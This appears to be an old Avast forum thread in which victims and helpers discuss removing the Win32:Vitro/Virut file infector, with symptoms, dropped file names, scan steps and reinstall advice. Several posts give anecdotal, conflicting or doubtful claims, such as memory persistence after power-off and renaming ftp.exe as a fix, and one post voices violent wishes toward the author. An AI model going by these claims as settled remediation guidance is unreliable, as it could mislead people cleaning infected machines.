Vitro is not Virut... the names are not interchangeable even though Avast may mislabel them. Vitro is basically a nastier (and as of yet uncurable) "evolution" of Virut. All these "solutions" for Vitro... if they work it means you have Virut and not Vitro. You don't always get it from Warz/Hacks/Keygen sites like first though. Virut ran a course through Myspace, so wouldn't be surprised if Vitro did too.

If you don't have Avast but think you may have Vitro/Virut, get a copy of combofix over to your computer and try running it. If it won't run at all, change the name of the file to something else then run it. After a minute of running if it pops up with a warning that the file was corrupted and tells you that you may have Virut... there you go.

No amount of cleaning, disinfecting, deleting, will remove Vitro, even if you use a Virut cleaner (AVG has one released now separate of their Anti Virus)

The only way to cure Vitro is a complete reformat. I don't mean delete windows and install fresh... First you have to turn off compute completely (with Windows CD in the drive already) so your memory clears since Vitro is memory residual!!! Then start it up and boot from CD. You must also delete your partitions and then re-partition the space you want to install windows on. It is that nasty.

As for backing up your files.... So far it seems that it only spreads through .exe and .src files. Tons of people have reported after doing a complete re-install (most of them having to do it 2 or 3 times before realizing they needed to erase partition and repartition first) they were able to transfer their MP3, Video, and Document files they backed up with external Hard Drive with no problem. I recommend however scanning it with Avast before you do, but should be fine. This means no ZIP/RAR or other archived/compressed files though since they may contain .exe files in them that are infected. As for me (as soon as I get my friend's XP CD since I left mine at my old place) I am hoping to be up and running on my computer instead of fiance`'s soon. For my backup though I backed up onto an external USB Harddrive that had no .exe or .src files on it as to not spread to the drive.

So if you got Virut, and caught it early enough, you are lucky your compute can be saved. If you are like the growing population that got Vitro instead... well you are screwed for the time being and got some reformatting to do.

As much as I can say I'm blessed with better fortune than everyone else.... I'm not.... I probably know whats coming and the only solution to this but anyways

My entire computer is overrun with WIN32:Vitro virus, 99% of my Operating system and 72% of my files is completely infected.  Currently I'm sending this message through safe mode as its the only way to run my pc at this point since the pc freezes up on the start up screen on normal bootup.

Unfortunately I'm not one of the people graced with having a operating system cd therefore reformatting my whole drive Isn't an option... Is their any new solutions to deal with this FUBAR virus?

Post by: DavidR on July 28, 2009, 03:47:20 PM
With this level of infestation, your system is virtually unrecoverable as you see in this topic Vitro is extremely difficult to clean the virus uses encryption making repair of an infected file almost impossible. Once it gets this established you are talking about saving what data files that are important (bearing in mind .exe, .scr, .htm/l documents are targets) before formatting and starting from scratch.

I have no idea why you don't have an OS CD and I won't probe, but you need one as every time you open a file which is a target of vitro it will become infected. So you are going to have to get an OS CD as that really is the only option you have.

wow... what a mess this virus is weaving... alright, thanks

Once i reformat what can be done in terms of avoiding another infection like this? as this will get old reeeal fast having to lose data every time to this.
Title: Re: Malware name Win32:Vitro
Post by: DavidR on July 28, 2009, 04:08:31 PM
Dell should usually have a recovery CD and or a recovery partition which should restore your system to how it was when it left Dell.

There is no simple answer to your one line question "Once i reformat what can be done in terms of avoiding another infection like this?"

It requires that you have a good level of security Firewall that also provides outbound protection, anti-virus like avast, see my signature below. Above all keep your OS and security applications fully up to date avoiding vulnerabilities in out of date applications. I would also suggest a regular visit to this site, which scans your system for out of date programs that have patches to close vulnerabilities, http://secunia.com/software_inspector/ (http://secunia.com/software_inspector/). If all else fails a robust back-up and recovery strategy.

-- SYSTEM BACK-UP & RECOVERY
If you fail to plan, then you plan to fail.
If you have a back-up and recovery plan, you can recover from anything in minutes, not hours or days.

1. back-up all the things that you don't want to lose, data files, like documents, spreadsheets, emails, email account details, registration keys, address book, favourites/bookmarks, downloaded files/programs, etc. the list goes on and on but if you don't want to lose it back it up. There are many back-up programs that can simplify this task and run it every day.

2. Recovery - re-installing your system really is a poor choice and one of last resort. There are tools (Drive Imaging software) that take exact images of your Partitions or Hard Disks and these images can be restored in minutes if you suffer a major catastrophe and that doesn't have to be a virus attack.

I do a weekly image of my partitions and save them to my 2nd hard disk, they can also be saved to off-line storage, DVD, USB external hard disk, etc. as part of my weekly system maintenance.

So if the worst comes to the worst at most I lose:
A. 6 days worth of program updates or new installations, but with my daily back-up I can recover most of that.
B. less than one days data files, emails, etc.
None of these is a problem and much quicker than a system reinstall and I don't have to go on-line to download the myriad of security updates needed to secure my system where there is a chance to get reinfected whilst my system has vulnerabilities because of these missing patches. Not to mention all my system tweaks and program settings are retained and I will have saved myself many hours of work and a huge amount of stress.

Many of these programs cost, there are some free ones, but it will take some research on your part to find these tools and decide on what is best for you from reviews, user feed back, etc. good luck.

Hi DeltaSystems

DavidR is correct, your operating system is virtually unrecoverable. However, this does not mean totally unrecoverable.
If you so wish, you might like to take the opportunity to get in some practice at malware fighting.

Save what you can of your data and picture / music / video files while in Safe Mode.

Run a boot-time scan - set your schedule in Safe Mode.

Firstly, turn off System Restore - right-click My Computer, go to Properties, then System Restore, check the box to turn off, click Apply, then OK.

Secondly, schedule your scan - right-click 'a' avast icon in the systen tray at bottom right corner of screen and choose Start avast! Antivirus. Once scanner (radio) is on screen, select Menu and then click Schedule Boot-time Scan from drop-down menu. Choose Scan of local disks, and first time through run a Quick (or Standard) scan with box for archive files checked. For Advanced options, select Ask for action, then click Schedule and then Yes to restart and run scan.

The boot scan may not run due to your computer being so infected, but if it does, wait for the first instance of malware to be found, then, when asked for action, select delete all and let the scanner delete all infected user files. Don't worry too much about what is deleted.

When the scan reaches the point where system files are being scanned you will be asked for action once again. This time choose to Move all infected files to virus chest and once again let the scanner do its biz. This may take a while so you will have to be patient. At times you may have to choose another option like perhaps Ignore, but use your good sense, and also probably best act on these options individually unless too much trouble. But anyway, do best to get a reasonable scan right through on this first run.

When complete, schedule a boot scan with Thorough setting, either in Normal Mode if the screen opens,  or turn computer off and schedule once again in Safe Mode. Don't waste any time doing this, just go straight through and run your Thorough scan. Check archives box again, and this time in Advanced options choose Move infected file to chest / Allow delete or move. Run scan through but keep your eye on it and again use your good sense if come to any trouble spots, and just attempt to get reasonable scan right through.

Recently, I used Sophos antirootkit as an extra option, so give that a go next.
Download and run if you can -- http://www.sophos.com/products/free-tools/sophos-anti-rootkit.html (http://www.sophos.com/products/free-tools/sophos-anti-rootkit.html). At the end of scan, Sophos shows suspect files inside the scanner and you will need to click the files to get more information, and make sure to follow directions from Sophos so you get good grasp of all the details. Sophos will either recommend or rate or something like that so you can make informed choice at cleanup time.

If you get this far you are doing well. At this point, I would download / run up to date mbam scan -- http://www.filehippo.com/download_malwarebytes_anti_malware/tech/ (http://www.filehippo.com/download_malwarebytes_anti_malware/tech/)

-- and take actions at completion to remove any suspect files.
http://forum.avast.com/index.php?topic=47121.msg396918#msg396918 (http://forum.avast.com/index.php?topic=47121.msg396918#msg396918)

Post mbam log here so avast forum experts can have alook at it. Most of this is for interest value and there may be some interesting things turned up, but still we're doing some practice at malware fighting mainly. So next thing to do is run another avast boot scan using the same settings as last time -- Thorough, archives, Move to chest and Allow move.

If you've got this far, you can probably open up in Normal Mode by now. But don't dilly dally about, rather post to the forum and wait for a reply.

Well, I hope you may talk more clean in a 'public' forum.

about removing Virut/Virto using tools is windows safe-mode, it's not final soloution because it's a virus that run in safe mode too.
even trusted antivirus such as avast or avira some times fail to deal with this virus in a infected system... avast and avira both can pervent it very well, but if you get infected because of doing something stupid such as disabling AV for run a keygen and such as it would be difficult for your AV to help you get rid of this bad virus.

usually this virus force you to re-install your windows, because it infected system core files and your AV would remove them... so it would be more easy to:

do a clean install of windows, before running everything, install your AV and update to prevent Virtu back from your other Hard Drive partitions/Flash driver and..., then scan all your other partitions of your hard drive, flash drive, memory cards and... and let it remove everything it find.

Hi emantoyaks and Omid Farhang,

Yes there are more ways to try and tackle this nasty file infector, and during this long thread you find a lot of expertise from the victims that fought this piece of nastiness.
Re: http://www.hm2k.com/posts/win32-virtob-virut-removal
The characteristics of the file infector are well known, it is highly infectious, it spreads like wildfire, it is so buggy by nature and randomly "hip-hop-like" infects, that it is capable to ruin an OS beyond repair in no time. Serious infections can therefore be dealt with in a drastic manner - a total recall - f-disk, re-format, re-install and cleanse every peripheral file to be cleansed from the virus before plugging it back on.
Some very good observations are cleansing in SafeMode and to avoid a re-start/re-boot to avoid additional damage - so one long, long cleansing session in SafeMode should be preferred, also the use of a virtual environment like sandbox is good to throw out the virus after the infector, but on XP the task is difficult because the windows file defending mechanisms and/or windows firewall circumventing tactics of the virus. The malcreant of this ruining virus must have known this Windows platform like the in-lining of the pockets in his pants to create such an effective malware....

The Virus is created by Assembly Language that's why its hard to remove the Assembly is the greatest programming language I have ever had....



I want to give 100% of grades for the creator of "Virut" because  it makes me challenge of his virus and his a kind of a Genius person, but they are not use his knowledge in a good things...

Read in the internet today IE8 is prone to virus attack.
That is the first hint, I noted that the IE7 pcs are not afected.
Next clue, it takes over windows processes... hm... what can drive windows processes.

work done :
boot linux.
copy the following from clean windows installation to overwrite infected windows files :
c:\windows : explorer.exe,
c:\windows\system32 : dllcache folder, win.com, java/w/ws.exe, krnl386.exe, logonui.exe, lsass.exe, ntdll.dll, ole32.dll, rundll32.exe,
                                svchost.exe, tcpsvcs.exe, user.exe, userinit.exe, winlogon.exe, winspool.exe, WISPTIS.exe, WudfHost.exe

boot windows
downgrade IE8 to IE7
run windows update, exclude IE8 permanently.
stop using IE to browse.

Feel free to include more system32 files as you see fit,
I selected the above and windows booted fine, virus free.

non-expert... school of hard knocks.

and to avoid a re-start/re-boot to avoid additional damage

I don't do my cleaning this way, unless I manage to get the system clean in one wash, which to tell truth is what happens most time anyway. And not that I come across virut/virto either - almost never - but in most of the tougher jobs I do tend to end up with restart at some time or other.

Makes good sense though to avoid restart/re-boot. I just haven't struck an ideal way of doing this yet, particularly when I'm using a few different tools and utilities on most jobs. Certainly worth some extra effort on my part to work on this approach. So thumbs up buddy.

Okay I guess that's a search and destroy mission to frighten even the likes of virut. But the combo is really only total effective on the face of things, that is, total success on paper. When in reality the writers of malware take into account the strong points of removal tools, as well as the scripting strategies of (the very best of) anti-malware and antivirus weaponry, and then they lay traps that swallow pieces of search, and upend pieces of destroy, and so wind the lines of the cleaning operation back in favor of obfuscation and ruin, on all levels, except the one that plays the script back into the poison hands of noxious malware perps (well, perhaps not so dramatic an event(s), pardon my zeal).

The act of subversion by malware is equally an effective operation. I wouldn't go promoting any removal and cleaning combo as the surefire solution to wiping out the likes of virut and other similar malware. And I wouldn't go near anything put out by AVG. Not even with your computer.

Well, i've been hit pretty hard by this virus.

I didn't act quick enough, and now I can't even get into safe mode as i'm stuck in the same log-in loop as previous posters have mentioned. I created a Dr Web Live boot CD, which picked up about 100 infected files (although none actually said vitro iirc- most were trojan.packed.140 with a couple of viruts thrown in). I deleted/cured all files and restarted but the same problem persists.

What are my next options? I have an XP setup disk (not mine, will this be a problem?), and I need to recover some files from my HDD if possible so I don't want to format straight away. It is a desktop so can I remove the HDD and recover files using another computer? I'm not brilliant with computers so this could be a bit tricky.

Thanks for any help

OK- i've now tried doing a Windows rebuild with an XP setup disk (following these instructions: http://www.informationweek.com/1094/langa.htm)

I press any key to load from disk, and get the blue screen saying 'Setup is loading files' and then 'setup is starting windows'. The next screen I get says 'A problem has been detected and windows has been shut down to prevent damage to your computer.....check for viruses on your computer.....run chkdsk/f to check for hard drive corruption'......etc etc

I have no input before this screen comes up, there's nothing I can do but turn it off after this message displays. Does this mean that I won't even be able to format it, or is there a way around this?



Also- I have my documents I want to recover on an extra hard drive installed in my machine. I can remove this, and connect it to a working PC or a caddy to recover my files, but how can I check that this hard drive hasn't been corrupted before I connect it to a clean PC, I don't want to spread this thing any further! If i can do this i'm happy to kiss goodbye to my PC, it was old anyway and i'm getting a new one soon.

I'm another victim  ;D and survivor   :D

some malware is downloading x.exe and it is being reported as win32:vitro by avast, so i'm here to post some junk data about this virus.

I found the most common files created by this virus

\WINDOWS
  msdriver32.exe
  usb_magr.exe

\WINDOWS\SYSTEM32
  x.exe <-
  wshost32.exe
  asr_<usrname to source>.exe
lots of junk files
some EXEs and some .SCR files

when investigated on the way how the virus is working, it is downloading files from various random sources using FTP  ::)

i renamed the FTP.EXE in system32 folder to _FTP.exe  :P
voila it stopped working  :o :o

hmmm it is a virus, must be surviving from some system files.  I found it is being invoked by some module related to svchost.exe

After removing all the downloaded files and renaming FTP.exe, I'd executed msdriver32.exe (Virus)  :D using process explorer to monitor it.

It first closed process explorer  ???

from process explorer i can see this thing starting too many threads connecting to remote hosts.  it was establishing connections using some port related to microsoft-ds, may be looking for other hosts or victims.   :-[ The same kind of attack executed on me and it was reported as DCOM exploit attack (port 135) by avast  ???.  I guess avast had failed when the virus had established a connection to my system through some other port or may be i'm wrong.  That crap was struggling to establish a successful connection  ;D :D ;D and is a brain without any physical strength  8)

Any ways for now renaming ftp.exe is an easy solution for me, stopped being bothered by junk stuff and explorer restarts and crashing Audio service etc.  8) ;D

This may help some body till the virus creator changes his code.

I feel ftp.exe is a helpful tool for virus' rather to common users.  :P

And extremely sorry if this is not the way the story is supposed to be posted here.  Some help in redirecting me to the more appropriate place will be helpful  ::)

@bluestarmatrix: if you feel you are infected with something which avast! failed to clean, try another Antivirus engine to scan your computer.

The Avira AntiVir Rescue System a linux-based application that allows accessing computers that cannot be booted anymore. Thus it is possible to repair a damaged system, to rescue data or to scan the system for virus infections. Just double-click on the rescue system package to burn it to a CD/DVD. You can then use this CD/DVD to boot your computer. The Avira AntiVir Rescue System is updated several times a day so that the most recent security updates are always available. You can download it from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.exe). You can learn how to use it from Here (http://www.avira.com/en/support/kbdetails.php?id=267).
also, if you want to burn that disc yourself with your own burning tool (Such as Nero or…), you can download the Image File (.iso) from Here (http://dl1.pro.antivir.de/package/rescue_system/common/en/rescue_system-common-en.iso).
After burn it to disc, use it to boot your computer and do a full scan and remove everything it find.

Download, install and update these programs (just use Offline update installer if you cannot use Live Update to update your programs):

ProgramDownloadOffline Updater
Malwarebytes AntimalwareDownload (http://www.malwarebytes.org/mbam.php)Updater (http://www.malwarebytes.org/mbam/database/mbam-rules.exe)
SUPERAntiSpywareDownload (http://downloads.superantispyware.com/downloads/SUPERAntiSpyware.exe)Updater (http://www.superantispyware.com/downloads/SASDEFINITIONS.EXE)
SpyBot S&DDownload (http://www.safer-networking.org/en/mirrors/index.html)Updater (http://www.spybotupdates.biz/updates/files/spybotsd_includes.exe)

scan your computer using them, also during installation of SpyBot S&D disable all residents.

you may like to block bad URLs to prevent download more infected files by your computer. so:
Download and install HostsMan (http://www.softpedia.com/get/Network-Tools/Misc-Networking-Tools/HostsMan.shtml).
after install run it, click on "update Hosts", choose "MVPS Hosts" and in below options choose "Overwrite Current" hosts.
this step would immunize your Hosts File (http://en.wikipedia.org/wiki/Hosts_file) and would prevent any internet traffic to malware sites and also would fix Windows Hosts File if it has been HiJacked by malwares.

My parents computer just got infected with this monstrosity of a virus.

Whatever you do, DO NOT SCAN THE INFECTED COMPUTER WHILE IT'S RUNNING. Put the infected HDD into an enclosure and scan it from a clean computer, or boot the computer from an antivirus boot cd. Scanning the infected computer from within the infected Windows will spread the virus faster because of the way it works. Basically if an EXE file is accessed in any way by the OS, the virus will infect it. So a virus/malware scanner will actually make the infection worse by scanning and accessing each exe on your computer.
Just an tip for those trying to fight this sucker.

I haven't yet cleaned the infected computer, but I plan to backup the important data and reformat/install XP over again.

I'm an IT guy for a small company in LA.  We got hit by this virus hard; took down our file server, plus four workstations.  Took me 2 solid days to get everything up and running.  I know this has been repeated in this thread before, but just thought I'd add it again for those who don't want to read all 23 pages.

1.  Do not run any kind of virus scan once you suspect an infection on your network, it will just spread the virus and your computer will be toast.
2.  SAFE mode doesn't work, don't even try it.
3.  My experience was that running a cleaner from a boot CD did NOT work.  Virus still remains after multiple scans from multiple engines.
4.  Repairing windows from a fresh WinXP cd seemed to work, but my users always re-infected themselves with the infected HTML files and other exes on their systems.  It also infects USB thumb drive with autorun.inf, so it will infect whatever computer you stick it into next.  You can still use thumb drives if you are careful and delete the autorun.inf and whatever exe files it creates on the thumbdrive.
5.  What worked for me was to format the disc, re-install windows, and restore their data files.  But before that, I had to make sure they had no EXEs or html files in their backups.  You can use windows' search and just delete them all.
6.  Again, this virus is NOT magical, it does not "remain in memory" after a hard power-off.  Users are just re-infecting themselves because the computer is not clean.  The virus spreads all over the place, so it's quite easy.
7.  I blocked the IPs and websites mentioned in previous posts, and that seemed to help with the spread rate.

Take away: BACKUP BACKUP BACKUP.  I don't think you could, or would want to leave an infected computer on your network just because you didn't take the time to backup you data.

Hi malware fighters,

This thread is being referred to elsewhere and also summarized:

I think it has become an important thread on this high risk file infector.
Anyone aware of new developments like immediately go on into Safe Mode, try not to interrupt cleansing session or do more than one cleansing routine. Try to avoid repairing instructions because of the buggy nature of the infector and the loss of vital executables. Keep in mind that the executable that scans can also be infected, because it is an executable. What is the payload after the infector has been cleansed by closing a virtual machine or sandbox? How can the circumvention of Windows file protection and FW be blocked? What further hardening against it is possible? Questions, questions? For which we have not that many answers. And in the case of something new turning up, keep posting them here,

Yes, those bad URLs come into your HostsFile and Online Armor would show them, don't touch them and let them to re-direct from their main way into LocalHost address (127.0.0.1). for your windows those URLs are blocked, I cannot remmeber what Online Armor do when a Hosts Entry are blocked or allowed...

I dont know IF this helps or not, but I hope it will. I was trying to figure out why my PC was acting funny. It was getting stuck at the Wallpaper after logging in, no icons, just the wallpaper. I put in my windows CD, booted from CD and did a Bootfix. Started into safe mode, restored to a few days back, then restarted my PC. As soon as I got in, AVAST went crazy. I set it to do a Bootscan, and restarted. I set it to Delete all viruses it came across.
As soon as I got the PC up and going again after 3 hours of Scanning (Over 1600 viruses, almost all were Vitro) I got back into windows. I got the AVG rmvirut.exe program, checked found nothing, and I got ClamWin Free Antivirus which also found nothing so far.
I am not 100% sure I am totally clean, since its only been about an hour, but I will keep you updated if anything new comes up or not.

I have since bought a new laptop, but I need my photo's buisness docs and .xls files along with some other tax information and mp3's/video stuff.

This stuff is irreplaceable and would take forever to reconstruct.  I do have some stuff externally backed up, but not everything as we only back up once every 45 days or so and this happened literally 2 days before I was going to back up. 

Is there a fix out yet for XP short of a full wipe?!

If there is no fix out, what is the best was to recover my important data?!  I know .exe and and ini/inf files are out as well.  I have also heard not to touch html.

My question is if i took out my hdd placed it in an external case, then got a second external, linked the 2 togehter via either a library PC or even a Mac and transfered my needed data would that be a good start?!

Please any help apperciated.

xxemoxx, my AV (Avast! and then Avira) indicated that only *.EXE files were infected, though there were over 600 of them.  Vitro and/or Virut are vicious.

I removed the drive from the PC and attached it to a standalone PC from where I deleted all the infected files.  This took some time, and I ran several malware and AV apps untill they all showed clean.  I copied data from the previously infected drive to a 16Gb USB flash drive (big enough for my needs), constantly checking to make sure that nothing was infected.

I bought a new HDD and reinstalled Windows and my applications, recreated the user accounts and transferred the data from the USB flash drive - again running AV in (Read and Write modes) and Malwarebytes to ensure everything was clean.

So far, so good, fingers crossed, and although I have FDisk'd and Formatted the original driver, I am still sufficiently suspicious of it not to be using it.

Well ... I've been having the same old problem this thing (although McAfee STINGER reports it as Virut.n.gen Avast! says it is Win32:Vitro). I've read almost half of the post, when I quit reading it ... After seeing something to what I've done (afterwards), I decided to post ...
So let me tell you a little bit of a story ...

This laptop operated for about 3 - 4 days with the virus. In the beginning, it cut IE with addons off, then updates wouldn't be downloaded, rundll32.exe would crash, and everything else collapsed afterwards ...

Now, nothing can boot next to the login screen ...

I had a UBCD built in 09-Sep, I run it, using STINGER / Avast!Virus Cleaner / Avira
Avast! was unable to track anything down.
Avira tracked a whole lot of viruses/Trojans, but nothing was fixable.
STINGER suprisingally, traced the Virun.n.gen, and could repair them.

So, I first run STINGER which cleansed the heck out of more than 1700 *.exes (I couldn't save the logs ...  >:()
Then Avira found 2 traces of the virus, plus a lot of Trojans, everything quarantined (Full quarantine was copied over to a Hidden TrueCrypt volume prior to shutdown, flash memory was thouroughly checked + runned FlashDisinfector) - (Full log is pertained and attathced  :))
Finally, Avast! couldn't trace a thing ...

Nevertheless, prior to copying over explorer.exe (because I can't find it anywhere on the OEM Disks), I tried to boot the system ...
No difference whatsoever, everything kept crushing - but the Microsoft Report Program kept "Searching for solutions" ...
I rebooted with UBCD, I searched everything, from tip to toe with these programs (well, yeah, outdated - but I can't get the internet support up and running and I don't know why ...) but nothing else pops-up (Joke/Stressreducer only and I know this program)

So ... any suggestions? Because this system is not mine, I would prefer to keep it as intact as possible ... and complete format is almost out-of-the-question (OEM system, with internal repair partition). But I'd like to hear any aspect of solution ...

Hello everyone, Dr. Kosher here...

First off, let me start by saying that I've been using and trusting Avast! Antivirus for four years and am very satisfied with what Alwil Software has provided since.  Last night, I found this forum via Google through my five-year old Toshiba Satellite A45-S150 after researching this particular virus, because two days ago, my two-month old Dell Precision M6400 was infected by the Win32:Vitro and Win32:Walivun worms, amongst a few others I cannot recall the names to.

I will say that simply reformatting and reinstalling my Operating System [Windows XP Professional] has not solved my problem, since I discovered that the viruses in question are deeply rooted in the internal registry of my Dell's hard drive.  While I am computer saavy and know how to solve most computer-related problems, this, I'm afraid is one of those I cannot solve on my own, so, tomorrow I am taking my Dell to a computer repair service I've known for a little over a year now.

Words cannot describe how much this aggravates my anxieties, especially since this is one of those looming problems that just won't go away. This has me to the point where I'm almost afraid to insert my external hard drives into either my Toshiba laptop or my four-year old desktop, despite having them scanned through Avast! with no inkling of this nasty virus.

BOOT SCAN :D

Yes! This is the solution ... :D

But first ... make sure you cure-up the most ... That is use Dr.Web CureIt or McAfee Stinger ... (Too bad avast! can't do it on it's own ... :() and save everything else in the quarantine for the eternity (AKA, next format)

Beyond that, more malware alerts will still pop-up (related or not) ... Immediate boot scan, with system file transfers allowed to be transfered to quarantine ...

I hope that avast! will include a fix function ... anyways, run a VM, and fix them in there ...

I hope I helped anyone who read this ... I saved the laptop ... Hooorayyy!

This is ludicrous stdedos. The forum is here for people who have problems with their computers. A ridiculously small amount of people by any regard (for one example, compared with the amount of people who use avast antivirus brand). On top of that, not all the people here actual have problems with their computer. Some just want to learn things. Further to that, even less again have the problems you have. I have never had any problems that compare with the ones you seem to have. So when speaking your anecdotal situation, you are providing us forum members with some possibly useful info, but you are also telling us that you have got yourself into situations that we tend to avoid. Similarly, you are implying that you follow you're own advice regardless. For this reason, I expect you will continue to end up in the same old situations whether you use avast as your antivirus option or not. You do nevertheless have the benefit that this will still be a learning experience in spite of all else that you might do for whatever you might think is correct.

I actually had a problem with my computer, you may read above which it was. But I seem unable to get to understand your point to that … this is a virus troubleshoot forum, whether you got a problem or you want to learn about malwares ect … I knew all the way back when I posted about that …

I have never had any problems that compare with the ones you seem to have. So when speaking your anecdotal situation, …
Anecdotal?!? Why is that?
First sentence tells me you’d reckon this was a hard one … in the end, you mention anecdotal … why is that?

… you are providing us forum members with some possibly useful info, but you are also telling us that you have got yourself into situations that we tend to avoid.
Well ... I thing every success can teach you something good …
Bu what do you mean with “we tend to avoid”?

Similarly, you are implying that you follow you're own advice regardless.
No … while you may think of that, I had first already began with the restoration, without any assistance, because I wasn’t aware of the great impact Win32:Virut had done plus I thought this could be easy. Second, I mention that afterwards I’ve read a whole lot of 13 pages of replies, and I had taken the same actions more or less … That is, I wasn’t aware of the Dr.Web CureIt.

For this reason, I expect you will continue to end up in the same old situations whether you use avast as your antivirus option or not.
Well no … Avast! was the one that revived the pc … I got hold of other serious issues when I got the change to install it in a Safe Boot environment … but for this, I had to fix some exe files so I could actually boot …

You do nevertheless have the benefit that this will still be a learning experience in spite of all else that you might do for whatever you might think is correct.
Yeah, it is! Create updated UBCDs often and for Godshake … schedule a boot scan!  ;)

Anecdotal meaning your own situation that should not be taken as the norm for all of us who have had good experience working with avast as an antivirus. Perhaps I was a bit harsh. I apologize for that, and you did well to save your laptop. As a prevention tool avast! antivirus is probably best performance wise, and in this role enables a stable desktop that other cure-it type tools and utilities can build upon. And worth repeating that an ounce of prevention is worth a pound of cure. I think perhaps you right that sometimes will have to run the cure-it tools to unclog the system (anti-rootkit is also good example) and running bootscan when cleaning up at the end.

Generally I run bootscan early in process. With client computer not knowing what might come across, good chance with virut if can remove existing AV (use Revo) and load avast in Safe Mode, and run bootscan even before have run computer in Normal Mode. Can be off to a good start, and even perhaps quick fixit. Better chance anyway. Run bootscan at the end is bit superfluous though still good policy to do so. But you right you have good learning experience with virut. Perhaps I was bit harsh. I was coming to defence of avast as antivirus.

I use avast! on my desktop and I have no issues ...
Well … my sister was kind of reluctanant in leaving her PC to me so as to uninstall the outdated Norton trial and installing Avast! … She thinks that she won’t get infected, one PC among billion others … well, she used to think …  ;D

I think so too! I fully agree, but the only think that I didn’t like was the lack of repairing … I see the option, but I hate it when I can’t simply use it … (But I found a way to come around this, with other programs …)

Well I’d consider doing so … but when I got hold of it, I could do nothing much but boot the UBCD I had, outdated … so, I could do this, only after I had made a prior fix … Which, as of now I do not regret, because if I had done otherwise, I would be simply unable to boot it, due to the vast number of infections (more than 1750 fixed).
Well, superfluous as it may seem, I got hold of extra Trojans, Win64:Virut (!!!) and others … and yet, in a few days I had to catch another 5 infections, not including the 3 infections in a second boot-time scan …

But you right you have good learning experience with virut. Perhaps I was bit harsh. I was coming to defence of avast as antivirus.
Well … apart from the not-fixing part, I do not have any other issues on Avast! … It helped me in a hard time, and this makes it from now and on my standard (it always was, but now I won’t change it at all)

I'd like to add in my two cents and an update with my Dell Precision M6400 Laptop.

First, my two cents:  In all the years that I've used computers, it's been quite a learning experience with what I've gathered on my own or through the aid of friends that knew what to do during my time of need whenever I had an issue I could not take on, on my own.

Because of this, I've been able to help friends with both the minor issues, such as a miscommunicating printer to more seious issues, such as Hal.dll going missing or corrupt.  However, while I do have experience with most issues there are some issues that I have yet to encounter or figure out on my own.

Now for my update:  My Dell is in the shop getting its hard drive completely nuked and I'll more than likely see this laptop tomorrow afternoon, assuming that everything goes well.

[Update:]  I took my Dell Precision M6400 Laptop to the tech shop yesterday morning and got a call from them later that evening to tell me that the viruses and worms were removed from my hard drive's internal registries and discovered that 817 infected registries were successfully removed from my Dell's internal hard drive.  So, today, I got my Dell back from the shop with a severely impaired, non-functioning operating system.  After three and a half hours of re-installing Windows XP Professional, my associated drivers, frequently used programs and uploading my mostly accessed files to my computer, all is well again. 

I think this has to be the worst computer-related problem I've had the displeasure of experiencing and I have decided to save up for a Hard Drive Enclosure in the event I re-experience malware that survives a simple hard drive format.

Hello!
Like many of the others in this thread this virus was the reason for me starting posting. The information here has been tremendously helpful, but I need clarification one one particular thing:
What are the file formats Vitro specifically targets? As I see it so far it's:
- .exe
- .html
- probable .mp3?

Are image and ms office files affected? Those are what I mainly need to save.
Thanks!

Here is the latest list of possible re-infection vectors

DO NOT backup any applications or installers and DO NOT backup any files with the following extensions:

@ essexboy
I have see another list, from some time ago that also includes *.doc *.jpg *.pdf you may be familiar with it as I believe it was one of your posts ;D

http://forum.avast.com/index.php?topic=43272.msg406710#msg406710 (http://forum.avast.com/index.php?topic=43272.msg406710#msg406710)

Are these still potential targets and reinfection vectors ?

Hi David - no it turns out they were misidentified on just one system after further research

Hello everyone, I have a question:  Are there weaker strains of the Vitro Worm??  I just experienced a slight panic a while ago when I was preparing to install an expansion pack to one of my programs, which set Avast's network shield off, so I did a Virus scan, and was prompted to do a boot scan.  Later, after removing three infections, I quickly downloaded DrWebCureIt and I'm currently using this to make sure that I'm virus free, which unfortunately includes my external hard drives because one can never be too careful.

This frightens me becuase for a while I wasn't able to access this along with a few other Antivirus related websites, but I'm on the alleged computer that became somewhat infected, and there's no telling when I'll be unable to access this site again.  

Anyone's feedback is greatly appreciated.

Regards,

Dr. Kosher

I just became the recent rape victim from this terrorist. I hope this person(s) is caught and severely tortured Vlad style in a remote location. But I digress...

So I guess any exposed .EXE files of mine have been savaged. Now what of back ups in WinZip or WinRAR? My big fear is most of my back ups and data are on an external HD.
I've reinstalled clean from my boot disks, got the great Avast installed, and am slowly trying to get my work back together. This is my first virus I had to deal with, and what a prick of a virus to get inundated with!

So as a checklist - I can still access files from my HD and copy to my lappy's. As long as they aren't .EXE's and I don't touch them. Most of my work is music and graphics, so I don't think they got infected? Now when dealing with WinRar's - best to copy them onto my system, turn off HD, Unzip/rar, run Avast scan on folder/exe, and hopefully be able to install again safely? And what of .DLL's? Would they be relatively untouched, as I use a lot of them for music too.

Thanks as well Polonus, great links to read up on. This AVG thing sounds promising to shave the crud off, but don't like the sound that Avast still treats it as infected? I've got many old gear and software here that I should've backed up better I know. But will anyone you think be able to rid this prickish crap off cleanly and safely in future? Avast, AVG, Kaspersky et al? Anyone that can crush this nut good, I'm there!
